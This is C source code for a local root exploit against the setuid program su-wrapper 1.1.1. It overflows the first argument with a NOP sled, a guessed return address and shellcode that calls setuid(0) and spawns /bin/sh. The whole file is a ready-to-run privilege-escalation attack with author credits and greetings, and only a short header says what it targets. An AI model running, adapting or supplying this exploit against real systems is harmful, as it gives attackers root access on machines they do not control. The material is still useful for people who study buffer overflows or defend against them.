/* - su-wrapper.c - *//*************************************************************************//* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit.            *//*                                                                       *//* Package Description:                                                  *//* su-wrapper is an little util which lets special users execute         */ /* processes under another uid/gid.                                      *//*                                                                       *//* Vulnerability Description:                                            *//* If a long line on the first argument is gived, the program sends      *//* a SIGSEGV Signal.                                                     *//*                                                                       *//* Affected: All Systems who have su-wrapper installed :P                *//*                                                                       *//* I don't know if other versions are vulnerable too.                    *//*                                                                       *//* This bug was reported to Enrico Weigelt (weigelt@nibiru.thur.de)      *//*                                                                       *//* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, *//* etc                                                                   *//*        dex: dexgod@softhome.net <> http://www.raza-mexicana.org -     *//*************************************************************************/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#define BUFFERSIZE 1032#define OFFSET 0#define ALIGN 0static char shellcode[]=  "\x29\xc0"                             /* subl %eax, %eax          */  "\xb0\x46"                             /* movb $70, %al            */  "\x29\xdb"                             /* subl %ebx, %ebx          */  "\xb3\x0c"                             /* movb $12, %bl            */  "\x80\xeb\x0c"                         /* subb $12, %bl            */  "\x89\xd9"                             /* movl %ebx, %ecx          */  "\xcd\x80"                             /* int $0x80                */  "\xeb\x18"                             /* jmp callz                */  "\x5e"                                 /* popl %esi                */  "\x29\xc0"                             /* subl %eax, %eax          */  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */  "\xb0\x0b"                             /* movb $0x0b, %al          */  "\x87\xf3"                             /* xchgl %esi, %ebx         */  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */  "\xcd\x80"                             /* int $0x80                */  "\xe8\xe3\xff\xff\xff"                 /* call start               */  "\x2f\x62\x69\x6e\x2f\x73\x68";unsigned long get_sp(void) { __asm__("movl %esp, %eax");}void main(int argc, char **argv) { int i; unsigned long addr; char *buffer; int buffersize = BUFFERSIZE; int offset = OFFSET; int align = ALIGN; if(argc > 1) offset = atoi(argv[1]); if(argc > 2) align = atoi(argv[2]); if(argc > 3) buffersize = atoi(argv[3]); buffer = (char *)malloc(buffersize +8); addr = get_sp() - offset; for(i = 0; i < buffersize; i+=4) {  *(long *)&buffer[i] = 0x90909090; } *(long *)&buffer[buffersize - 4] = addr; *(long *)&buffer[buffersize - 8] = addr; memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode, strlen(shellcode)); printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");  printf("[x] su-wrapper 1.1.1 local root exploit\n"); printf("[x] dex: - dexgod@softhome.net <> http://www.raza-mexicana.org - \n"); printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n"); printf("[x] Address = 0x%x, Align = %d, Offset = %d\n", addr, align, offset); printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n"); printf("[x] Exploiting...\n"); if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {  printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?\n"); }}